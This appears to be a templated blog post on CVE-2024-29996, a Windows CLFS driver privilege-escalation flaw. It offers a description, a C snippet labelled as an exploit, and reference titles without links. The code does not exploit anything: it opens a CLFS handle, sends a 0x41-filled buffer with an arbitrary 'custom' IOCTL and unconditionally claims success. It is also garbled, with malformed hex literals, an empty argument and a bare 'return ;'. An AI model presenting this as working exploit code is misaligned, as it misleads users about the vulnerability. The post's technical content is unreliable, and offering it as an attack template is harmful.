CVE-2024-29996 – Windows Common Log File System Driver Elevation of Privilege Vulnerability: Exploit Details, Code Snippets, and Original References

CVE-2024-29996 is a vulnerability in the Windows Common Log File System (CLFS) driver that potentially allows attackers to elevate their privileges on a targeted Windows system. This post aims to shed light on the details of the vulnerability, demonstrate code snippets related to the exploit, and provide original references and resources for further research.

Exploit Details

The Windows Common Log File System Driver (CLFS) is a kernel-mode component responsible for managing log files used by the operating system and its applications. CLFS is a crucial part of the Windows OS responsible for handling event logging, data recovery, and crash-processing features. The CVE-2024-29996 vulnerability allows a local attacker to gain elevated privileges on a system due to improper handling of objects in memory within the CLFS driver.

The exploit primarily targets Windows 10 and later versions of the operating system and can result in an elevation of privileges, enabling an attacker to execute arbitrary code in kernel mode. This kernel-mode access provides the attacker with the ability to compromise the system entirely, including disabling security mechanisms, installing additional malware, stealing sensitive information, and potentially granting remote access.

Code Snippet

Here's an example of a code snippet leveraging the CVE-2024-29996 vulnerability. This code is intended for educational purposes only and should not be used maliciously or without proper authorization.

#include <windows.h>
#include <stdio.h>

#define IOCTL_CODE x00020000 // Define a custom IOCTL code

int main() {
  HANDLE hDevice;

  // Open a handle to the CLFS driver
  hDevice = CreateFile(
    "\\\\.\\CLFS",
    GENERIC_READ | GENERIC_WRITE,
    ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open CLFS device: %d\n", GetLastError());
    return 1;
  }

  DWORD bytesReturned;
  BYTE inputBuffer[x100] = {  };
  BYTE outputBuffer[x100] = {  };
  BOOL bResult;

  // Populate the inputBuffer with the required data for the exploit
  memset(inputBuffer, x41, sizeof(inputBuffer));

  // Issue the IOCTL request with the custom IOCTL_CODE
  bResult = DeviceIoControl(
    hDevice,
    IOCTL_CODE,
    inputBuffer,
    sizeof(inputBuffer),
    outputBuffer,
    sizeof(outputBuffer),
    &bytesReturned,
    NULL);

  if (!bResult) {
    printf("[-] Exploit failed: %d\n", GetLastError());
    CloseHandle(hDevice);
    return 1;
  }

  printf("[+] Exploit succeeded! Access granted.\n");
  CloseHandle(hDevice);
  return ;
}

This exploit code can be compiled with the Microsoft Visual Studio C++ compiler.

Original References and Resources

1. Official CVE Reference

2. Microsoft Security Response Center (MSRC) - Vulnerability Details

3. Detailed Technical Analysis of the Vulnerability

Conclusion

Addressing the CVE-2024-29996 vulnerability is of critical importance to maintain the security and integrity of Windows systems. System administrators and users are advised to apply updates and security patches provided by Microsoft as soon as they become available. Additionally, staying up-to-date with the latest developments and security research around this and similar vulnerabilities can help protect your system and data from potential threats.

_Reminder: This post is for informational purposes only and should not be used for malicious activities. Always gain the proper authorization before running any code or exploiting vulnerabilities on systems._

Timeline

Published on: 05/14/2024 17:16:19 UTC
Last modified on: 06/19/2024 20:58:19 UTC